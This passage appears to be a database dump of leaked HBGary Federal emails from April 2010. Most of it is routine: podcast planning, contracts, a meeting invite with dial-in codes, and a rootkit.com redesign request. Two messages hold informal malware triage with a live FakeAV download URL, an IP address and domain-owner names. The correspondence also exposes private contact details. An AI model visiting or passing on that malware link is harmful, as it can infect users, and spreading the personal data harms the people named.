better\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, April 09, 2010 5:46 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Karen Burke\r\nSubject: Re: Update on Podcast\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok well I will keep pursuing Jim Lewis, let me know if you\r\nwant me to pursue the Shadownet guys. &nbsp;Nice thing about an affiliation\r\nwith them is it shows our commitment to a larger purpose than just selling\r\nproducts, which in turn should sell more products. :)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 8, 2010, at 1:37 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think we&#8217;d like to get this going, we don&#8217;t have to do the 19th&nbsp;we can push it, I think Karen was just\r\nthinking those would be good for calendar\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, April 08,\r\n2010 7:54 AM\r\nTo:&nbsp;Karen Burke\r\nCc:&nbsp;Penny Leavy; Greg\r\nHoglund\r\nSubject:&nbsp;Re: Update on\r\nPodcast\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Karen,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJake (my congressional contact who knows Jim) has been on\r\nvacation the last couple of weeks and will be back on 4/12.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThat is running it pretty tight to get Jim Lewis by the\r\n19th. &nbsp;Is that a hard start? &nbsp;Another good one might be the ShadowNet\r\nguys, in fact they might be a better first start for APT. &nbsp;We spoke to\r\nthem yesterday at the Palantir conference and they want to get an NDA in place\r\nand start to work with us. &nbsp;They need malware analysis help to integrate\r\ninto their analysis.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.wired.com/threatlevel/2010/04/shadow-network/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+wired%2Findex+%28Wired%3A+Index+3+%28Top+Stories+2%29%29&amp;utm_content=Google+Feedfetcher\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 7, 2010, at 1:53 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Hi Aaron, I just wanted to check in re the podcast on APT\r\n  to see if you have finalized the interview guest and topic details. As I put\r\n  in my original podcast plan, I wanted to schedule this podcast for April\r\n  19th. Do you think this is still possible? Once we have the details nailed\r\n  down, we can start to promote it. Thanks! Best, Karen&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4181,'aaron_hbgary_com/4181.html'),(5073,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003230.M232047P3547Q5074.eml','\"Rich Cummings\" <rich@hbgary.com>','Looks like the binary is associated with Win32/FakeAV Family','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6763,'aaron_hbgary_com/6763.html'),(5074,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003230.M25542P3547Q5073.eml','\"Rich Cummings\" <rich@hbgary.com>','F\'n weird','OK everything below the line is just a distraction.In the end: sitedogustave -&gt; 188.124.3.238 -&gt;&nbsp;http://www3.saveus34.xorg.pl/?p=p52dcWtlcF%2FCj8bYbnOCdVik12qaVp%2FZatrauJ%2BCoKXcz4mbm5h2lpeHmZ%2FCn82MpaSZcZRpxWGUZ5OWk5uYiaSrk6ra1KBqWKV2WqydrKXGaorMmpyScViuzZLZbVbPnaCbmF9oZm6TlJhnY2lwWqqZnnbJodjWa19cZWpwkl6UZF6ZW5WXm2CYYZ3Uj9OhonOpcWpmammSXYrapG1eZmlonF%2BYZmmfU9fXlW5oZG2VmZVvaG1yWpuXdY60U9vPlW1lamk%3DThe Binary downloaded was:&nbsp;packupdate_build8_318.exeHeres a link to the Anubis output I ran on the binary.http://anubis.iseclab.org/?action=result&amp;task_id=15f1f1372666f3434fd5bf552ef57075a&amp;format=htmlI got distracted by all these SEO sites which the malware writers are using to get their sites more visibility. &nbsp;Some information below on that. &nbsp;Read the first site, foxnwse and the company that owns it. &nbsp;There is something weird there. &nbsp;The other stuff is just an SEO web.Aaron------------------------------------------------------------------------------------------Now for the other weird shit I found.Like you said you just keep pulling the string and more keeps coming. &nbsp;The distracting thing is in most cases I don\'t think there are strong relationships but the links are there and it leads you to even crazier shit so you follow it and waste time. &nbsp;In the process of looking at the sitedogustavo.com stuff I found 1 association to foxnwse.com, specifically:http://steve-carl-trump-10.foxnwse.com/opra-winfry.aspxThis site is owned by a company based in Colorado Springs called Veracitek. &nbsp;The company has a dozen or so bogus sites. &nbsp;Their weird shit is what the sites do. &nbsp;And the company has no possible way to physically contact other than a PO Box in the Springs. &nbsp;So I chased that for a bit because the content on the site is just bizarre, almost looks like its meant to say something but you need a secret decoder ring to figure out what it is.So then I went back to sitedogustavo.com. &nbsp;I can determine if this site is actually linked or is just using the following sites:networksexperts.com (668,000 hits for *.networksexperts.com) owner Alfredo Tomio Jr.eleger.com.br (1,270,000 hits for *.eleger.com.br) owner Adilze Lillian Pavowskiprojetosc.com.br (3,310,000 hits for *.projetosc.com.br) owner Kl Negocios &amp; Participacoes Societarias Ltdasecretariasc.com.br (3,180,000 hits for *.secretariasc.com.br) owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdarecepcionistasc.com.br (2,750,000 hits for *.recepcionistasc.com.br) owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdaimobiliariosc.com.br (0)&nbsp;owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdaglossclub.comemailxperts.comflamengoogle.netahsbrasil.comnetworksexperts.comeleger.com.brprojetosc.com.brsecretariasc.com.br&nbsp;emailxperts.com (2009-03-09)glossclub.com (2009-09-08)flamengoogle.net (2009-07-24) 200.194.238.18ahsbrasil.com (2009-09-08)10 associations between sitedogustavo.com and *.networksexperts.com3 associations between sitedogustavo.com and *.secretariasc.com.br8 associations between sitedogustavo.com and *.eleger.com.br3 associations between sitedogustavo.com and *.projetosc.com.br\r\nSEO Consultants (owns 688 domains)\r\nAlredo Tomio Jr (owns 23 domains)\r\n',9938,'aaron_hbgary_com/9938.html'),(5075,'2010-04-09','rich@hbgary.com','/aaron@hbgary.com/new/1297003230.M434272P3547Q5075.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Looks like the binary is associated with Win32/FakeAV Family','Those guys are everywhere!!!\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Rich Cummings\r\nSubject: Looks like the binary is associated with Win32/FakeAV Family\r\nSent: Apr 9, 2010 12:10 PM\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n',3938,'aaron_hbgary_com/3938.html'),(5076,'2010-04-09','rich@hbgary.com','/aaron@hbgary.com/new/1297003230.M635646P3547Q5076.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: F\'n weird','LOL!Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Fri, 9 Apr 2010 11:57:26 -0400To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: F\'n weirdOK everything below the line is just a distraction.In the end: sitedogustave -&gt; 188.124.3.238 -&gt;&nbsp;http://www3.saveus34.xorg.pl/?p=p52dcWtlcF%2FCj8bYbnOCdVik12qaVp%2FZatrauJ%2BCoKXcz4mbm5h2lpeHmZ%2FCn82MpaSZcZRpxWGUZ5OWk5uYiaSrk6ra1KBqWKV2WqydrKXGaorMmpyScViuzZLZbVbPnaCbmF9oZm6TlJhnY2lwWqqZnnbJodjWa19cZWpwkl6UZF6ZW5WXm2CYYZ3Uj9OhonOpcWpmammSXYrapG1eZmlonF%2BYZmmfU9fXlW5oZG2VmZVvaG1yWpuXdY60U9vPlW1lamk%3DThe Binary downloaded was:&nbsp;packupdate_build8_318.exeHeres a link to the Anubis output I ran on the binary.http://anubis.iseclab.org/?action=result&amp;task_id=15f1f1372666f3434fd5bf552ef57075a&amp;format=htmlI got distracted by all these SEO sites which the malware writers are using to get their sites more visibility. &nbsp;Some information below on that. &nbsp;Read the first site, foxnwse and the company that owns it. &nbsp;There is something weird there. &nbsp;The other stuff is just an SEO web.Aaron------------------------------------------------------------------------------------------Now for the other weird shit I found.Like you said you just keep pulling the string and more keeps coming. &nbsp;The distracting thing is in most cases I don\'t think there are strong relationships but the links are there and it leads you to even crazier shit so you follow it and waste time. &nbsp;In the process of looking at the sitedogustavo.com stuff I found 1 association to foxnwse.com, specifically:http://steve-carl-trump-10.foxnwse.com/opra-winfry.aspxThis site is owned by a company based in Colorado Springs called Veracitek. &nbsp;The company has a dozen or so bogus sites. &nbsp;Their weird shit is what the sites do. &nbsp;And the company has no possible way to physically contact other than a PO Box in the Springs. &nbsp;So I chased that for a bit because the content on the site is just bizarre, almost looks like its meant to say something but you need a secret decoder ring to figure out what it is.So then I went back to sitedogustavo.com. &nbsp;I can determine if this site is actually linked or is just using the following sites:networksexperts.com (668,000 hits for *.networksexperts.com) owner Alfredo Tomio Jr.eleger.com.br (1,270,000 hits for *.eleger.com.br) owner Adilze Lillian Pavowskiprojetosc.com.br (3,310,000 hits for *.projetosc.com.br) owner Kl Negocios &amp; Participacoes Societarias Ltdasecretariasc.com.br (3,180,000 hits for *.secretariasc.com.br) owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdarecepcionistasc.com.br (2,750,000 hits for *.recepcionistasc.com.br) owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdaimobiliariosc.com.br (0)&nbsp;owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdaglossclub.comemailxperts.comflamengoogle.netahsbrasil.comnetworksexperts.comeleger.com.brprojetosc.com.brsecretariasc.com.br&nbsp;emailxperts.com (2009-03-09)glossclub.com (2009-09-08)flamengoogle.net (2009-07-24) 200.194.238.18ahsbrasil.com (2009-09-08)10 associations between sitedogustavo.com and *.networksexperts.com3 associations between sitedogustavo.com and *.secretariasc.com.br8 associations between sitedogustavo.com and *.eleger.com.br3 associations between sitedogustavo.com and *.projetosc.com.br\r\nSEO Consultants (owns 688 domains)\r\nAlredo Tomio Jr (owns 23 domains)\r\n\r\n',1966,'aaron_hbgary_com/1966.html'),(5077,'2010-04-09','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297003237.M221412P3547Q5077.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Fully Executed Teaming Agreement - HBGary Federal and GDAIS - Cyber Genome Proposal/Program','\r\n\r\n\r\n\r\n\r\nHello \r\nTed,\r\n&nbsp;\r\nPlease find attached the \r\nfully executed Teaming Agreement supporting the Cyber Genome \r\nProposal/Program.&nbsp; \r\n&nbsp;\r\nHave a nice \r\nweekend!\r\n&nbsp;\r\nRegards,\r\nCindy \r\nLarson\r\nSr. Lead Specialist, \r\nContracts\r\n480-441-4235\r\n',7372,'aaron_hbgary_com/7372.html'),(5078,'2010-04-09','\"Etue, David\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003237.M517235P3547Q5078.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100409T170422Z\r\nDESCRIPTION:When: Friday\\, April 09\\, 2010 10:00 AM-11:30 AM (UTC-08:00) Pa\r\n	cific Time (US & Canada).\\nWhere: 312-878-0202\\, Access Code 171-602-721 (\r\n	webmeeting included)\\n\\nNote: The GMT offset above does not reflect daylig\r\n	ht saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\\n\\n-----Original Ap\r\n	pointment-----\\nFrom: Etue\\, David \\nSent: Tuesday\\, April 06\\, 2010 6:03 \r\n	PM\\nTo: Etue\\, David\\; Penny Leavy-Hoglund\\; Aaron Barr\\; Rich Cummings\\; \r\n	greg@hbgary.com\\; Savchuk\\, Gene\\; Mancini\\, Jerry\\nSubject: GoToMeeting I\r\n	nvitation - Fidelis XPS / HB Gary Integration Opportunities\\nWhen: Friday\\\r\n	, April 09\\, 2010 10:00 AM-11:30 AM (UTC-08:00) Pacific Time (US & Canada)\r\n	.\\nWhere: 312-878-0202\\, Access Code 171-602-721 (webmeeting included)\\n\\n\r\n	\\nPenny had sent the original meeting request – just sending a second on\r\n	e with a dial in bridge and webinar link.  Looking forward to talking on F\r\n	riday.\\n\\nBTW – for any of the local DC area folks\\, please let me know \r\n	if you’d like to join us at Fidelis in Bethesda - http://www.fidelissecu\r\n	rity.com/data-leakage-protection-contact/directions\\n\\n\\nDavid\\n\\n1.  Plea\r\n	se join my meeting.\\n\\nhttps://www1.gotomeeting.com/join/171602721\\n\\n2.  \r\n	Use your microphone and speakers (VoIP) - a headset is recommended.  Or\\, \r\n	call in using your telephone.\\n\\nDial 312-878-0202\\n\\nAccess Code: 171-602\r\n	-721\\n\\nAudio PIN: Shown after joining the meeting\\n\\nMeeting ID: 171-602-\r\n	721\\n\\nGoToMeeting® \\n\\nOnline Meetings Made Easy™\\n\\n\r\nDTEND:20100409T183000Z\r\nDTSTAMP:20100407T010325Z\r\nDTSTART:20100409T170000Z\r\nLAST-MODIFIED:20100409T170425Z\r\nLOCATION:312-878-0202\\, Access Code 171-602-721 (webmeeting included)\r\nORGANIZER;CN=\"Etue, David\":mailto:david.etue@fidelissecurity.com\r\nPRIORITY:5\r\nSEQUENCE:1\r\nSUMMARY;LANGUAGE=en-us:FW: GoToMeeting Invitation - Fidelis XPS / HB Gary I\r\n	ntegration Opportunities\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E0080000000050907911CAD5CA01000000000000000\r\n	01000000002553C06A470054D8ECB51634D4E2D3A\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Friday\\, April 09\\, 2010 10:00 AM-11:30 AM (UTC-08:00) Pacific T\r\n	ime (US &amp\\; Canada).\\n\\nWhere: 312-878-0202\\, Access Code 171-602-721 (webme\r\n	eting included)\\n\\nNote: The GMT offset above does not reflect daylight saving \r\n	time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\\n\\n\\n\\n-----Original Appointment-----\\nFrom: Etue\\, David\\nSent: Tuesday\\, April 06\\, 201\r\n	0 6:03 PM\\nTo: Etue\\, David\\; Penny Leavy-Hoglu\r\n	nd\\; Aaron Barr\\; Rich Cummings\\; \r\n	greg@hbgary.com\\; Savchuk\\, Gene\\; Mancini\\, Jerry\\nSubject: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration O\r\n	pportunities\\nW\r\n	hen:\r\n	 Friday\\, April 09\\, 2010 10\r\n	:00 AM-11:30 AM (UTC-08:00) Pacific Time (US &amp\\; Canada).\\nWhere: 312-878-0202\\, Access Code 171-602-721 (webmeeting i\r\n	ncluded)\\n\\n\\n\\\r\n	nPenny had sent the original meeting request – just sending a second \r\n	one with a dial in bridge and webinar link.  Looking forward to talking o\r\n	n Friday.\\n\\nBTW – for any of the local DC area\r\n	 folks\\, please let me know if you’d like to join us at Fidelis in Bethe\r\n	sda - http://www.fidelissecurity.com/data-leakage-protect\r\n	ion-contact/directions\r\n	\\n\\n\\nDavid\\n\\n1.  Please join my mee\r\n	ting.\\n\\n\r\n	https://www1.go\r\n	tomeeting.com/join/171602721\\n\\n2.  Use your microphone and speakers (VoIP) - a headset \r\n	is recommended.  Or\\, call in using your telephone.\r\n	\\n\\nDial 312-878-0202\\n\\nAccess Code: 171-602-\r\n	721\\n\\nAudio PIN: Shown after joining the meeting\r\n	\\n\\nMeeting ID: 171-602-721\r\n	\\n\\nGoToMeeting® \\n\\nOnline Meetings Made Eas\r\n	y™\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',4504,'aaron_hbgary_com/4504.html'),(5079,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003237.M715125P3547Q5079.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Event accepted: FW: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities','Aaron Barr has accepted your iCal event invitation to the event: FW: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities, scheduled for April 9, 2010 at 5:00 PM (GMT+00:00).',14892,'aaron_hbgary_com/14892.html'),(5080,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003237.M906466P3547Q5080.eml','\"Ted Vera\" <ted@hbgary.com>','Conference call with Fidelis with Greg and Penny','I forgot about this call, penny was asking me to join.\r\n\r\nI\'ll give you a call back when this is over and we can get out the resumes.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7499,'aaron_hbgary_com/7499.html'),(5081,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003238.M127007P3547Q5081.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: Rootkit.com web design work','Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: April 6, 2010 11:11:07 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: penny@hbgary.comSubject: Rootkit.com web design work&nbsp;\r\nAaron,\r\n&nbsp;\r\nHow much to have your new guy do some web programming for rootkit.com ?\r\n&nbsp;\r\nhere is what I am looking for:\r\n&nbsp;\r\n1) keep the same look / graphics, no graphic design required\r\n2) left hand menu,\r\n&nbsp;&nbsp;&nbsp; remove the list of rootkits\r\n&nbsp;&nbsp;&nbsp; add a [source code search] box\r\n3) convert rootkit project system to a more general purpose source-code repository\r\n&nbsp;&nbsp; 3a) each project includes downloadable zip of source code\r\n&nbsp;&nbsp; 3b) each project includes contributer and short description / article\r\n&nbsp;&nbsp; 3c) the source code of the project can be viewed online using a pretty-printed source code display (php)\r\n&nbsp;&nbsp; 3d) the forum that goes with each project is removed\r\n4) consolidate the forums into a single large forum, preserve historical posts\r\n5) update the project creation to allow source code to any tool to be uploaded, description / short article added\r\n&nbsp;\r\nI can better explain the concept of this on the fone or in person.\r\n&nbsp;\r\n--Greg\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5057,'aaron_hbgary_com/5057.html'),(5082,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003238.M341758P3547Q5082.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Rootkit.com web design work','Can you get me an estimate on time today?AaronOn Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:&nbsp;\r\nAaron,\r\n&nbsp;\r\nHow much to have your new guy do some web programming for rootkit.com ?\r\n&nbsp;\r\nhere is what I am looking for:\r\n&nbsp;\r\n1) keep the same look / graphics, no graphic design required\r\n2) left hand menu,\r\n&nbsp;&nbsp;&nbsp; remove the list of rootkits\r\n&nbsp;&nbsp;&nbsp; add a [source code search] box\r\n3) convert rootkit project system to a more general purpose source-code repository\r\n&nbsp;&nbsp; 3a) each project includes downloadable zip of source code\r\n&nbsp;&nbsp; 3b) each project includes contributer and short description / article\r\n&nbsp;&nbsp; 3c) the source code of the project can be viewed online using a pretty-printed source code display (php)\r\n&nbsp;&nbsp; 3d) the forum that goes with each project is removed\r\n4) consolidate the forums into a single large forum, preserve historical posts\r\n5) update the project creation to allow source code to any tool to be uploaded, description / short article added\r\n&nbsp;\r\nI can better explain the concept of this on the fone or in person.\r\n&nbsp;\r\n--Greg\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11783,'aaron_hbgary_com/11783.html'),(5083,'2010-04-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003238.M565494P3547Q5083.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rootkit.com web design work','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nI was writing it up but got interrupted by this email ;)\r\n\r\nAaron Barr wrote:\r\n&gt; Can you get me an estimate on\r\ntime today?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt;\r\n&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt;\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; Aaron,\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; How much to have your new guy do some web programming for\r\n&gt;&gt; rootkit.com &lt;http://rootkit.com/&gt; ?\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; here is what I am looking for:\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; 1) keep the same look / graphics, no graphic design required\r\n&gt;&gt; 2) left hand menu,\r\n&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; remove the list of rootkits\r\n&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; add a [source code search] box\r\n&gt;&gt; 3) convert rootkit project system to a more general purpose\r\n&gt;&gt; source-code repository\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3a) each project includes downloadable zip of source code\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3b) each project includes contributer and short\r\ndescription /\r\n&gt;&gt; article\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3c) the source code of the project can be viewed online\r\nusing a\r\n&gt;&gt; pretty-printed source code display (php)\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3d) the forum that goes with each project is removed\r\n&gt;&gt; 4) consolidate the forums into a single large forum, preserve\r\n&gt;&gt; historical posts\r\n&gt;&gt; 5) update the project creation to allow source code to any\r\ntool to\r\n&gt;&gt; be uploaded, description / short article added\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; I can better explain the concept of this on the fone or in\r\nperson.\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; --Greg\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/d7EACgkQWw/TEDXzQNNBKACeJLTgnQYQiH+RUbORlk1+b+Ju\r\n2pMAn0qO5w7l+80RAjH6NYXT1GatgEuM\r\n=iZ/o\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n',13155,'aaron_hbgary_com/13155.html'),(5084,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003238.M767385P3547Q5084.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Rootkit.com web design work','ok...please work faster..and multitask...you don\'t get paid to be a single threaded hamster in a wheel...:)On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nI was writing it up but got interrupted by this email ;)\r\n\r\nAaron Barr wrote:\r\n&gt; Can you get me an estimate on\r\ntime today?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt;\r\n&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt;\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; Aaron,\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; How much to have your new guy do some web programming for\r\n&gt;&gt; rootkit.com &lt;http://rootkit.com/&gt; ?\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; here is what I am looking for:\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; 1) keep the same look / graphics, no graphic design required\r\n&gt;&gt; 2) left hand menu,\r\n&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; remove the list of rootkits\r\n&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; add a [source code search] box\r\n&gt;&gt; 3) convert rootkit project system to a more general purpose\r\n&gt;&gt; source-code repository\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3a) each project includes downloadable zip of source code\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3b) each project includes contributer and short\r\ndescription /\r\n&gt;&gt; article\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3c) the source code of the project can be viewed online\r\nusing a\r\n&gt;&gt; pretty-printed source code display (php)\r\n&gt;&gt;&nbsp;&nbsp;&nbsp; 3d) the forum that goes with each project is removed\r\n&gt;&gt; 4) consolidate the forums into a single large forum, preserve\r\n&gt;&gt; historical posts\r\n&gt;&gt; 5) update the project creation to allow source code to any\r\ntool to\r\n&gt;&gt; be uploaded, description / short article added\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; I can better explain the concept of this on the fone or in\r\nperson.\r\n&gt;&gt;&nbsp; \r\n&gt;&gt; --Greg\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/d7EACgkQWw/TEDXzQNNBKACeJLTgnQYQiH+RUbORlk1+b+Ju\r\n2pMAn0qO5w7l+80RAjH6NYXT1GatgEuM\r\n=iZ/o\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7901,'aaron_hbgary_com/7901.html'),(5085,'2010-04-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003238.M987214P3547Q5085.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rootkit.com web design work','\r\n\r\n\r\n  \r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nROFL!!\r\n\r\nI will multitask like the new iPhone will, in that I fake it.\r\n\r\nAaron Barr wrote:\r\n&gt; ok...please work 